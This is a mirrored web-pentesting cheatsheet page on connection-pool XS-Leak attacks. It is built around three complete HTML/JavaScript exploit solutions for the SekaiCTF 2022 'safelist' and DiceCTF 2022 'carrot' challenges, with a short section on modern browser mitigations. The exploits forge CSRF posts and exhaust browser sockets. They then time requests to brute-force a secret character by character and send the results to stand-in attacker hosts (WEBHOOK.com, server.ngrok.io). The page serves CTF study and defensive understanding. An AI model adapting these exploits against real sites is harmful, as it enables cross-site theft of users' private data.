daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

connection-pool-example.md (18830B)


      1 ---
      2 title: "Connection Pool Examples"
      3 section: "Web Pentesting"
      4 sectionSlug: "pentesting-web"
      5 sourcePath: "src/pentesting-web/xs-search/connection-pool-example.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/xs-search/connection-pool-example.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # Connection Pool Examples
     14 
     15 ## Sekaictf2022 - safelist
     16 
     17 In the [**Sekaictf2022 - safelist**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/safelist/solution) challenge, [**@Strellic\_**](https://twitter.com/Strellic_) gives an example of how to use a **variation** of the **Connection Pool** technique to perform a **XS-Leak**.<sup>[[1]](#references)</sup>
     18 
     19 In this challenge, the goal is to exfiltrate a flag that will appear in the bots web session inside a post. These are the assets the attacker has:
     20 
     21 - The **bot** will **visit** a **URL** given by the attacker
     22 - The attacker can **inject HTML** in the page (but no JS, dompurify is used) abusing a **CSRF** making the **bot create a post** with that HTML.
     23 - The attacker can abuse a CSRF to make the **bot** **delete** the **first** **post** inside the web.
     24 - Because the **posts** are ordered **alphabetically**, when the **first post is deleted**, if the **HTML** content of the attacker is **loaded** means that it was **alphabetically before the flag**.
     25 
     26 Therefore, to steal the flag, the solution proposed by @Strellyc\_ is to, **for each char to test** make the bot:
     27 
     28 - Create a **new post** that **starts** with the known part of the **flag** and several **img** **loads**.
     29 - **Delete** the **post** in position **0**.
     30 - Block 255 sockets.
     31 - Load the page with the posts
     32 - Perform 5 random requests to a site (example.com in this case) and measure the time this takes.
     33 
     34 > [!WARNING]
     35 > If the **deleted** post was the **flag**, this means that all the **images** **injected** in the HTML are going to be **fighting** with the **5 random requests** for that **unblocked** socket. Which means that the time measured is going to be bigger than the other scenario.
     36 >
     37 > If the **deleted** post was the **HTML**, the **5 random requests** will be **faster** because they don't need to fight for that socket with the HTML injected.
     38 
     39 ### Exploit 1
     40 
     41 This is the exploit code, taken from [https://github.com/project-sekai-ctf/sekaictf-2022/blob/main/web/safelist/solution/solve.html](https://github.com/project-sekai-ctf/sekaictf-2022/blob/main/web/safelist/solution/solve.html):<sup>[[2]](#references)</sup>
     42 
     43 ```html
     44 <!-- Form to inject HTML code in the bots page -->
     45 <form
     46   method="POST"
     47   action="https://safelist.ctf.sekai.team/create"
     48   id="create"
     49   target="_blank">
     50   <input type="text" name="text" />
     51   <input type="submit" />
     52 </form>
     53 
     54 <!-- Form to delete the first entry -->
     55 <form
     56   method="POST"
     57   action="https://safelist.ctf.sekai.team/remove"
     58   id="remove"
     59   target="_blank">
     60   <input type="text" name="index" value="0" />
     61   <input type="submit" />
     62 </form>
     63 
     64 <script>
     65   // Attacker listening
     66   const WEBHOOK = "https://WEBHOOK.com/"
     67   // Send data to attacker
     68   const log = (id, data) => {
     69     let payload = JSON.stringify({ known, alphabet, data })
     70     console.log(id, payload)
     71     navigator.sendBeacon(WEBHOOK + "?" + id, payload)
     72   }
     73 
     74   // Similar to JQuery
     75   const $ = document.querySelector.bind(document)
     76 
     77   // Known part of the flag
     78   const known = "SEKAI{"
     79   let alphabet = "_abcdefghijklmnopqrstuvwxyz}"
     80 
     81   // Reduce the alphabet using a hash (#) in the URL
     82   if (location.hash) {
     83     alphabet = alphabet.slice(alphabet.indexOf(location.hash.slice(1)))
     84   }
     85 
     86   // Function to leak characters
     87   const leak = async (c) => {
     88     // Prepare post with known flag and the new char
     89     let payload = `${known + c}`
     90     // Inject as many <img as possible
     91     // you need to respect the CSP and create URLs that are different
     92     for (let i = 0; payload.length < 2048; i++) {
     93       payload += `<img src=js/purify.js?${i.toString(36)}>`
     94     }
     95 
     96     // Inject HTML
     97     $("#create input[type=text]").value = payload
     98     $("#create").submit()
     99     await new Promise((r) => setTimeout(r, 1000))
    100 
    101     // Remove post with index 0
    102     $("#remove").submit()
    103     await new Promise((r) => setTimeout(r, 500))
    104 
    105     let deltas = []
    106 
    107     // Try each char 3 times
    108     for (let i = 0; i < 3; i++) {
    109       const SOCKET_LIMIT = 255
    110       // you will need a custom server that works like num.sleepserver.com/sleep/delay
    111       // needed to freeze the blocked sockets, and they have to all be on different origins
    112       // Check https://www.npmjs.com/package/sleep-server using subdomains DNS wildcard
    113       const SLEEP_SERVER = (i) => `http://${i}.sleepserver.com/sleep/60`
    114 
    115       const block = async (i, controller) => {
    116         try {
    117           return fetch(SLEEP_SERVER(i), {
    118             mode: "no-cors",
    119             signal: controller.signal,
    120           })
    121         } catch (err) {}
    122       }
    123 
    124       // block SOCKET_LIMIT sockets
    125       const controller = new AbortController()
    126       for (let i = 0; i < SOCKET_LIMIT; i++) {
    127         block(i, controller)
    128       }
    129 
    130       // Make the bot access the page with the posts
    131       window.open(
    132         "https://safelist.ctf.sekai.team/?" +
    133           Math.random().toString(36).slice(2),
    134         "pwn"
    135       )
    136       await new Promise((r) => setTimeout(r, 500))
    137 
    138       // Start measuring the time needed for five requests
    139       let start = performance.now()
    140       await Promise.all([
    141         fetch("https://example.com", { mode: "no-cors" }),
    142         fetch("https://example.com", { mode: "no-cors" }),
    143         fetch("https://example.com", { mode: "no-cors" }),
    144         fetch("https://example.com", { mode: "no-cors" }),
    145         fetch("https://example.com", { mode: "no-cors" }),
    146       ])
    147       let delta = performance.now() - start
    148       document.title = delta
    149       controller.abort()
    150 
    151       log("test_" + c + "_" + i, delta)
    152 
    153       // Save time needed
    154       deltas.push(delta)
    155     }
    156     return deltas
    157   }
    158 
    159   // Check each char
    160   const pwn = async () => {
    161     // Try to leak each character
    162     for (let i = 0; i < alphabet.length; i++) {
    163       //Check the indicated char
    164       let deltas = await leak(alphabet[i])
    165 
    166       // Calculate mean time from requests to example.com
    167       let avg = deltas.reduce((a, v) => a + v, 0) / deltas.length
    168 
    169       // If greater than 250, the HTML code was injected (flag in index 0)
    170       if (avg > 250) {
    171         log("tests_pos_" + alphabet[i], deltas)
    172       }
    173       // Flag in the page
    174       else {
    175         log("tests_neg_" + alphabet[i], deltas)
    176       }
    177     }
    178   }
    179 
    180   window.onload = async () => {
    181     pwn()
    182   }
    183 </script>
    184 ```
    185 
    186 ### Exploit 2
    187 
    188 Same tactic but different code from [https://blog.huli.tw/2022/10/05/en/sekaictf2022-safelist-xsleak/](https://blog.huli.tw/2022/10/05/en/sekaictf2022-safelist-xsleak/)<sup>[[3]](#references)</sup>
    189 
    190 ```html
    191 <!DOCTYPE html>
    192 <html>
    193   <!--
    194   The basic idea is to create a post with a lot of images which send request to "/" to block server-side nodejs main thread.
    195   If images are loading, the request to "/" is slower, otherwise faster.
    196   By using a well-crafted height, we can let note with "A" load image but note with "Z" not load.
    197   We can use fetch to measure the request time.
    198 -->
    199   <body>
    200     <button onclick="run()">start</button>
    201     <form
    202       id="f"
    203       action="http://localhost:1234/create"
    204       method="POST"
    205       target="_blank">
    206       <input id="inp" name="text" value="" />
    207     </form>
    208 
    209     <form
    210       id="f2"
    211       action="http://localhost:1234/remove"
    212       method="POST"
    213       target="_blank">
    214       <input id="inp2" name="index" value="" />
    215     </form>
    216     <script>
    217       let flag = "SEKAI{"
    218       const TARGET = "https://safelist.ctf.sekai.team"
    219       f.action = TARGET + "/create"
    220       f2.action = TARGET + "/remove"
    221 
    222       const sleep = (ms) => new Promise((r) => setTimeout(r, ms))
    223       const send = (data) => fetch("http://server.ngrok.io?d=" + data)
    224       const charset = "abcdefghijklmnopqrstuvwxyz".split("")
    225 
    226       // start exploit
    227       let count = 0
    228       setTimeout(async () => {
    229         let L = 0
    230         let R = charset.length - 1
    231         while (R - L > 3) {
    232           let M = Math.floor((L + R) / 2)
    233           let c = charset[M]
    234           send("try_" + flag + c)
    235           const found = await testChar(flag + c)
    236           if (found) {
    237             L = M
    238           } else {
    239             R = M - 1
    240           }
    241         }
    242 
    243         // fallback to linear since I am not familiar with binary search lol
    244         for (let i = R; i >= L; i--) {
    245           let c = charset[i]
    246           send("try_" + flag + c)
    247           const found = await testChar(flag + c)
    248           if (found) {
    249             send("found: " + flag + c)
    250             flag += c
    251             break
    252           }
    253         }
    254       }, 0)
    255 
    256       async function testChar(str) {
    257         return new Promise((resolve) => {
    258           /*
    259             For 3350, you need to test it on your local to get this number.
    260             The basic idea is, if your post starts with "Z", the image should not be loaded because it's under lazy loading threshold
    261             If starts with "A", the image should be loaded because it's in the threshold.
    262           */
    263           inp.value =
    264             str +
    265             '<br><canvas height="3350px"></canvas><br>' +
    266             Array.from({ length: 20 })
    267               .map((_, i) => `<img loading=lazy src=/?${i}>`)
    268               .join("")
    269           f.submit()
    270 
    271           setTimeout(() => {
    272             run(str, resolve)
    273           }, 500)
    274         })
    275       }
    276 
    277       async function run(str, resolve) {
    278         // if the request is not enough, we can send more by opening more window
    279         for (let i = 1; i <= 5; i++) {
    280           window.open(TARGET)
    281         }
    282 
    283         let t = 0
    284         const round = 30
    285         setTimeout(async () => {
    286           for (let i = 0; i < round; i++) {
    287             let s = performance.now()
    288             await fetch(TARGET + "/?test", {
    289               mode: "no-cors",
    290             }).catch((err) => 1)
    291             let end = performance.now()
    292             t += end - s
    293             console.log(end - s)
    294           }
    295           const avg = t / round
    296           send(str + "," + t + "," + "avg:" + avg)
    297 
    298           /*
    299           I get this threshold(1000ms) by trying multiple times on remote admin bot
    300           for example, A takes 1500ms, Z takes 700ms, so I choose 1000 ms as a threshold
    301         */
    302           const isFound = t >= 1000
    303           if (isFound) {
    304             inp2.value = "0"
    305           } else {
    306             inp2.value = "1"
    307           }
    308 
    309           // remember to delete the post to not break our leak oracle
    310           f2.submit()
    311           setTimeout(() => {
    312             resolve(isFound)
    313           }, 200)
    314         }, 200)
    315       }
    316     </script>
    317   </body>
    318 </html>
    319 ```
    320 
    321 
    322 ## Practical Notes for Modern Browsers
    323 
    324 These examples are still useful, but some assumptions from 2022 are **less portable** in modern browsers:
    325 
    326 - **Do not assume a globally shared socket pool anymore.** Firefox's **State Partitioning / Network Partitioning** also covers **connection pooling**, and Brave shipped **pool-party** mitigations after showing that many browser resource pools could be turned into side channels.<sup>[[4]](#references)[[5]](#references)</sup>
    327 - When the **global** connection-pool oracle is noisy or simply dead, prefer scenarios where the attacker and victim requests still live in the **same partition** (for example attacker-controlled content rendered by the target site), or switch to the [Connection Pool by Destination Example](/hacktricks/pentesting-web/xs-search/connection-pool-by-destination-example) where the primitive is the **per-destination queue** instead of the global pool.
    328 - **Calibrate every browser/profile/run.** The effective limits can change between **headless/headful** runs, and **HTTP/1.1, HTTP/2 and HTTP/3** may **reuse** existing connections. Moreover, **HTTP/2 connection coalescing** means that **different hostnames are not always different sockets** if they end up on the same backend/certificate.
    329 - In practice, make your probes more stable by using **`cache: "no-store"`**, random query strings, a short **warm-up round**, and keeping the **same `credentials` mode** across all measurements. If your socket blockers stop blocking, suspect **connection reuse/coalescing** before assuming the leak is gone.
    330 - Thresholds are usually **empirical**. The safelist writeups above relied on averaging multiple rounds and tuning the cutoff on the real bot/browser before bruteforcing characters.
    331 
    332 
    333 ## DiceCTF 2022 - carrot
    334 
    335 In this case the first step of the exploit was to abuse a CSRF to modify the page where the flag is contained so it has **much more content** (and therefore loading it takes more time), and then **abuse the connection pool to measure the time it takes to access the page** that could be potentially having the flag.
    336 
    337 In the exploit you can see:
    338 
    339 - Abuse CSRF
    340 - Occupy all the sockets but 1
    341 - Calibrate the response
    342 - Start bruteforcing by accessing the potential page with the flag
    343   - The potential page will be accessed and immediately an attackers controlled URL will also be accessed to check how much time both requests take.
    344 
    345 ```html
    346 <h1>DiceCTF 2022 web/carrot</h1>
    347 
    348 <p>
    349   Step 1: CSRF the admin user, to set a super long title for the flag note (LAX
    350   + POST form only possible for 2 minutes after cookies is created)
    351 </p>
    352 <button onclick="csrf()">do csrf</button>
    353 <p>
    354   Step 2: XS-Search with
    355   <a href="https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/"
    356     >connection-pool timing leak</a
    357   >, we have to use window.open (LAX cookie)
    358 </p>
    359 
    360 <button onclick="popunder()">open popup</button>
    361 <button onclick="exhaust_sockets()">open 255 connections</button>
    362 <button onclick="oracle('dice{abc')">test search "abc" (slow)</button>
    363 <button onclick="oracle('dice{xxx')">test search "xxx" (fast)</button>
    364 <br />
    365 <br />
    366 <h2 id="output"></h2>
    367 <br />
    368 <form id="x" action="" method="POST" style="display:none;">
    369   <input type="text" name="title" placeholder="title" />
    370   <br /><br />
    371   <input type="number" name="priority" placeholder="priority" value="9999" />
    372   <br /><br />
    373   <textarea name="content" placeholder="content" rows="5" cols="20"></textarea>
    374   <br /><br />
    375   <input type="submit" value="submit" />
    376 </form>
    377 
    378 <script>
    379   // this is send is used as logging
    380   LOG = "Starting"
    381   // 255 in normal chrome, 99 in headless
    382   SOCKETLIMIT = 255
    383   // default
    384   TIMELIMIT = 800
    385   INSTANCE = ""
    386   MYSERVER = `example.com`
    387 
    388   const sleep = (ms) => {
    389     return new Promise((resolve) => {
    390       setTimeout(resolve, ms)
    391     })
    392   }
    393 
    394   const time_fetch = async () => {
    395     let test_server_url = `https://${MYSERVER}/?${LOG}`
    396     let start = window.performance.now()
    397     try {
    398       await fetch(test_server_url, {
    399         mode: "no-cors",
    400       })
    401     } catch (e) {
    402       console.log(e)
    403     }
    404     let end = window.performance.now()
    405     return end - start
    406   }
    407 
    408   const fetch_sleep_long = (i) => {
    409     // 40s sleep
    410     return fetch(`https://${i}.${MYSERVER}/40sleep`, {
    411       mode: "no-cors",
    412     })
    413   }
    414 
    415   const fetch_sleep_short = (i) => {
    416     // 0.25s sleep
    417     return fetch(`https://${i}.${MYSERVER}/ssleep`, {
    418       mode: "no-cors",
    419     })
    420   }
    421 
    422   const block_socket = async (i) => {
    423     fetch_sleep_long(i)
    424     // needed?
    425     await sleep(0)
    426   }
    427 
    428   const exhaust_sockets = async () => {
    429     let i = 0
    430     for (; i < SOCKETLIMIT; i++) {
    431       block_socket(i)
    432     }
    433     console.log(`Used ${i} connections`)
    434   }
    435 
    436   const timeit = async (url, popup) => {
    437     return new Promise(async (r) => {
    438       popup.location = url
    439       // needed?
    440       await sleep(50)
    441 
    442       let val = await time_fetch()
    443       r(val)
    444     })
    445   }
    446 
    447   // const alphabet = '_abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ-}!"#$%&\'()*+,-./:;<=>?@[\\]^`|~{'.split('');
    448   const alphabet = "abcdefghijklmnopqrstuvwxyz}_".split("")
    449   // const alphabet = 'abcdef}'.split('');
    450 
    451   const oracle = async (search) => {
    452     let url = `https://carrot-${INSTANCE}.mc.ax/tasks?search=${search}`
    453     let t = await timeit(url, WINBG)
    454 
    455     LOG = `${search}:${t}`
    456     console.log(`${search}:${t}`)
    457 
    458     return t > TIMELIMIT
    459   }
    460 
    461   const brute = async (flag) => {
    462     for (const char of alphabet) {
    463       if (await oracle(flag + char)) {
    464         return char
    465       }
    466     }
    467     return false
    468   }
    469 
    470   const calibrate = async () => {
    471     return new Promise(async (r) => {
    472       // slow
    473       let url1 = `https://carrot-${INSTANCE}.mc.ax/tasks?search=dice{`
    474       let t1 = await timeit(url1, WINBG)
    475       console.log(`slow:${t1}`)
    476       // fast
    477       let url2 = `https://carrot-${INSTANCE}.mc.ax/tasks?search=XXXXXXXXXX`
    478       let t2 = await timeit(url2, WINBG)
    479       console.log(`fast:${t2}`)
    480       return r((t1 + t2) / 2)
    481     })
    482   }
    483 
    484   const exploit = async (flag = "") => {
    485     console.log("Starting")
    486     // dont go to fast plz :)
    487     console.log(`waiting 3s`)
    488     await sleep(3000)
    489     // Exhaust available sockets
    490     await exhaust_sockets()
    491     await sleep(2000)
    492     LOG = `Calibrating`
    493     TIMELIMIT = await calibrate()
    494     LOG = `TIMELIMIT:${TIMELIMIT}`
    495     console.log(`timelimit:${TIMELIMIT}`)
    496     await sleep(2000)
    497     let last
    498     while (true) {
    499       last = await brute(flag)
    500       if (last === false) {
    501         return flag
    502       } else {
    503         flag += last
    504         output.innerText = flag
    505         if (last === "}") {
    506           return flag
    507         }
    508       }
    509     }
    510   }
    511 
    512   const popunder = () => {
    513     if (window.opener) {
    514       WINBG = window.opener
    515     } else {
    516       WINBG = window.open(location.href, (target = "_blank"))
    517       location = `about:blank`
    518     }
    519   }
    520 
    521   const csrf = async () => {
    522     x.action = `https://carrot-${INSTANCE}.mc.ax/edit/0`
    523     x.title.value = "A".repeat(1000000)
    524     x.submit()
    525   }
    526 
    527   window.onload = () => {
    528     let p = new URL(location).searchParams
    529     if (!p.has("i")) {
    530       console.log(`no INSTANCE`)
    531       return
    532     }
    533     INSTANCE = p.get("i")
    534     // step 1
    535     if (p.has("csrf")) {
    536       csrf()
    537       return
    538     }
    539     // step 2
    540     if (p.has("exploit")) {
    541       // window open is ok in headless :)
    542       popunder()
    543 
    544       exploit("dice{")
    545     }
    546   }
    547 </script>
    548 ```
    549 
    550 
    551 ## References
    552 
    553 - [1] [Sekaictf2022 - safelist challenge solution](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/safelist/solution)
    554 - [2] [SEKAI CTF 2022 safelist - solve.html exploit](https://github.com/project-sekai-ctf/sekaictf-2022/blob/main/web/safelist/solution/solve.html)
    555 - [3] [SEKAI CTF 2022 safelist XS-Leak writeup (Huli)](https://blog.huli.tw/2022/10/05/en/sekaictf2022-safelist-xsleak/)
    556 - [4] [MDN - State Partitioning](https://developer.mozilla.org/en-US/docs/Web/Privacy/Guides/State_Partitioning)
    557 - [5] [Brave - Preventing pool-party attacks](https://brave.com/privacy-updates/13-pool-party-side-channels/)